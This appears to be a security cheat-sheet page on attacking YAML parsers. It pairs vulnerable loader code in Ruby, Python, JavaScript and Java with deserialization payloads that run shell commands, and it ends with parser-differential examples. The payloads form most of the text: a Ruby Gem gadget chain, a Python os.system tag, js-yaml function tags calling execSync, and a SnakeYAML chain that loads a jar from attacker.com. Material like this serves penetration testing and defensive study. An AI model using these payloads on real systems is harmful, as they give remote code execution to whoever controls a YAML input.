YAML

Yet Another Markup Language

Description

First of all, this great article explains all sorts of tricks and weirdness in YAML:

The yaml document from hellruudvanasseldonk.com

Explanation and examples of many YAML tricks

Insecure Deserialization

In YAML the ! character can mean a tag, which allows you to execute a function in the host language with a parameter that comes right after (because why not). Many parsers implement this as it is required by the spec, but if attackers have control over the YAML file, even partially, they can use these tags to run arbitrary functions with arbitrary arguments.

A common target for this is a function that executes shell commands, where you can gain Remote Code Execution. The following examples all execute the id command and allow you to execute any arbitrary commands:

Ruby

Vulnerable Code

require "yaml"

YAML.load(File.read("data.yml"))

Payload (>2.7, source)

data.yml

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "id"
         method_id: :resolve

Python

Vulnerable Code

from yaml import Loader, load

deserialized = load(open('data.yml'), Loader=Loader)

Payload

data.yml

!!python/object/apply:os.system
- "id"

JavaScript - js-yaml (<4.0)

This popular JavaScript library allows the creation of arbitrary functions like .toString() which can be called accidentally, when using load() instead of safeLoad() in versions below 4:

Vulnerable Code

const yaml = require('js-yaml');
const fs = require('fs');

const res = yaml.load(fs.readFileSync('data.yml'));
console.log(res + "")  // Calls .toString() as trigger

Payloads

data.yml

"toString": !<tag:yaml.org,2002:js/function> "function (){console.log(process.mainModule.require('child_process').execSync('id').toString())}"

data.yml

toString: !!js/function >
  function () {
      console.log(process.mainModule.require('child_process').execSync('id').toString())
  }

Java - SnakeYAML (<2.0)

Constructing a malicious YAML file for SnakeYAML (CVE-2022-1471)mscharhag

Walkthrough of vulnerability as theory and exploitability

Vulnerable Code

import org.yaml.snakeyaml.Yaml;

Yaml yaml = new Yaml();
FileInputStream fis = new FileInputStream("data.yml");
Map<String, Object> parsed = yaml.load(fis);

Payload

data.yml

some_var: !!javax.script.ScriptEngineManager [
    !!java.net.URLClassLoader [[
        !!java.net.URL ["http://attacker.com/payload.jar"]
    ]]
]

/payload.jar file:

1. Explanation (search "remote jar file")

2. Proof of Concept with build.sh script (change exec())

Parser differentials

The complex nature of YAML makes parsing it consistently a hard task. This results in slight differences between implementations that may confuse a check and a use. Below is an example that results in lang: ... with 3 different values depending on which language's standard library parses it.

lang: Python
!!binary bGFuZw==: Go
!binary bGFuZw: Ruby

Another more extreme example that requires some specific features supports a lot more languages (by @taramtrampam):

!!binary bGFuZx==: ruby
!!binary lang: rust
!!binary bGFuZy==: node
alias-lang: &lang !!binary bGFuZz==
? *lang
: go
alias-lang2: !!str &lang2 lang
<<: [
  {
    ? *lang2 : java,
  },
]
!!merge qwerty: {lang: "python"}

Watch "Parser Differentials - joernchen at OffensiveCon 2025" to learn more.